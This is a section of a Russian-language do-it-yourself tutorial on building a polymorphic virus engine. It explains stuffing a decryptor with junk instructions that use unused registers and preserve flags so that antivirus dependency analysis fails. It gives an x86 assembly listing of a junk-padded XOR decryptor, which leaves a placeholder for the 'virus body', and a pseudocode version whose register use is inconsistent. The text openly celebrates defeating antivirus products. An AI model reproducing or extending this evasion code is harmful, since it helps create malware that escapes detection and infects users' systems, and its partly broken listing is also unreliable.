Полиморфный генератор — своим руками

       

Ступень 4: еще более мусорный


Идея: усложнить генерацию мусорных инструкций, сделав ее менее очевидной. Например, если мы видим: MOV EAX,EBX, то перед этим в EAX можно писать все, что угодно. Все равно он будет заново проинициализирован.

Более сложная задача: отслеживать обращения к регистрам, выявлять неиспользуемые регистры (как локально, так и глобально), и пихать в них всякую глупость. Для этого нужен не только дизассемблер длин, но и полноценный дизассемблер команд, определяющий, что это именно MOV EAX,EBX, а не что-то другое. Причем, необходимо специальным образом обрабатывать флаги — встретив команду, зависимую от флагов (например, Jxx), необходимо найти ближайшую к ней инструкцию, воздействующую на этот флаг и между ними вставлять только тот "мусор", который не оказывает на флаги никакого влияния. Разумеется, это сложно. Очень сложно. Зато такой эффект!

       MOV    ESI, EAX

       SUB    ESI, ECX

       XCHG   EDX, EBP

       LEA    EBX, [ESI+EDI]

       ROR    AL,8

       MOV    ESI, offset body_begin

       XOR    ECX, ECX

       SUB    EDI, EAX

       ADD    EBP, ESI

       NOT    EDI

       MOV    EDI, ESI

       MOV    ECX, offset body_end - body_begin

       CALL   $+5

       SUB    EAX, ECX

       NOT    EBP

       POP    EBX

       XOR    EAX, EAX

       PUSH   EBX

       SUB    EBP,ECX

       LODSB

       MOV    EAX, EAX

       ADD    EDX, ESI

       XCHG   EBX, EBX

       XOR    AL, 66h

       XOR    EDX, EDX

       ADD    EAX, EDX

       STOSB

       MOV    EBP, EAX

       DEC    ECX

       XCHG   EBX,EBX

       MOV    EBP,ESI

       JNZ    $+4

       JMP    EBX

body_begin:

; // тело вируса со всеми остальными шифровщиками

body_end:

Листинг 10 расшифровщик, замусоренный значащими командами

Антивирусу, чтобы распознать этот код потребуется реализовать сложную систему графов, анализирующих зависимости по данным и отбрасывающих инструкции, замыкающие граф. Например, MOV EAX, EBX --> ADD EAX, ECX –> MOV EAX, ECX.
Последняя команда перекрывает результат деятельности первых двух, выдавая их галимую мусорную природу. Реализовать полиморфный генератор четвертого уровня намного проще чем разработать "лекарство", так что антивирусники тут находятся в проигрыше.

Кстати говоря, без дизассемблера можно в принципе и обойтись, воспользовавшись псевдокодом. В этом случае код шифровщика будет выглядеть так:

MOV $R1, offset body_begin

MOV $R3, offset body_end - body_begin

MOV $R3, $IP

XOR [$R1], 66h

ADD $R1, 1

SUB $R2, 1

JNZ $R3

Листинг 11 псеводокод простейшего шифровщика

Тогда наша задача сведется к написанию кодогенератора для x86, что намного проще. Наш псведокод может быть построен по самым демократичным принципам и иметь фиксированные длины инструкций. В псевдокоде допустимо напрямую адресовать регистр EIP, переложив заботу на кодогенератор, который, кстати говоря, можно выдрать из любого Open Source компилятора. Это тем более замечательно, что кодогенератор имеет множество различных опций, порождающих различный код (например, код для 8088 и 386 процессоров). Антивирусы идут в глухой отруб!


Содержание раздела